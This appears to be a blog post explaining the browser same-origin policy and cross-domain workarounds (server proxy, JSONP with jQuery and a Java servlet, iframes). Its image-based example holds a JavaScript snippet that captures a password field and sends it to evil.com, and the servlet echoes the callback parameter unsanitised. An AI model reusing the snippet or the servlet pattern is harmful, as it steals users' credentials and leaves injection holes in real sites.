AJAX Cross-Domain Same-Origin Policy limitation

最新推荐文章于 2024-12-14 19:50:29 发布

原创最新推荐文章于 2024-12-14 19:50:29 发布 · 196 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#Ajax #jsonp #json #JavaScript #jQuery #ViewUI

UI 专栏收录该内容

31 篇文章

订阅专栏

本文详细介绍了浏览器的同源策略（SOP），并探讨了该策略如何限制了Ajax等技术的跨域请求。文章进一步讲解了三种绕过同源策略限制的方法：服务器端代理、JSONP以及利用iframe进行跨域请求。

AJAX Same-Origin Policy(SOP) limitation:

摘自：http://www.ibm.com/developerworks/library/wa-aj-jsonp1/

http://www.ibm.com/developerworks/cn/lotus/mashup-openajax/index.html

同源策略中“源”是一个包含主机名、协议和端口号的三元组。在同源策略的限制下，浏览器只允许网页中的脚本（如 JavaScript 或 VBScript）访问与之同源的 HTTP 请求和 cookie。注意即使域名和IP是对应的同一个地址，也是属于不同的源的。这里需要注意的是同源策略只对网页的 HTML 文档对象做了限制(XmlHttpRequest)，而对静态的资源文件，如 JavaScript 文件、CSS 文件、图片都可以被导入到 HTML 文档对象中（例如 , <script src="..." >, <img src=”…”>）。因此，对于静态文件可以从任意其它域名下导入 HTML 文档。

AJAX prevents cross-domail invokation, there are several ways to by pass this limitation.

1. write a proxy on the server side. The SOP limitation only exists only on the javascript side. While on the side, we can still invoke the other domail url such as via HttpClient

2. JSONP(JSON with Padding)

the same-origin policy doesn't prevent the insertion of dynamic script elements (动态引入图像也是可以的，这样静态资源也可以引起跨域的调用）into the document. That is, you could dynamically insert JavaScript from different domains, carrying JSON data in them.

<mce:script type="text/javascript"><!--
// This is our function to be called with JSON data
function showPrice(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
}
var url = “ticker.js”; // URL of the external script
// this shows dynamic script insertion
var script = document.createElement('script');
script.setAttribute('src', url);

// load the script
document.getElementsByTagName('head')[0].appendChild(script); 
// --></mce:script>

Note that, in order to do this, you must have a callback function already defined in the Web page at the time of insertion.

Beginning with version 1.2, jQuery has had native support for JSONP calls. You can load JSON data located on another domain if you specify a JSONP callback, which can be done using the following syntax: url?callback=?.

AJAX invoke:

jQuery.getJSON("http://www.yourdomain.com/jsonp/ticker?symbol=IBM&callback=?", 
function(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
});

Another domain generates json data and returned to client side with callback function.

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
  throws ServletException, IOException {
	String jsonData = getDataAsJson(req.getParameter("symbol"));
	String output = req.getParameter("callback") + "(" + jsonData + ");";

	resp.setContentType("text/javascript");
          
	PrintWriter out = resp.getWriter();
	out.println(output);
	// prints: jsonp1232617941775({"symbol" : "IBM", "price" : "91.42"});
}

基于图像的如下：

(function(){ 
	function getPassword() { 
		var pw = document.getElementById("password").value; 
		var imgTag = document.createElement("IMG"); 
		imgTag.setAttribute("src", "http://evil.com?pw=" + pw); 
	} 
	document.getElementById("submit").addEventListener("click",getPassword); 
})()

3. iframe

通过iframe的src可以指向任意的server url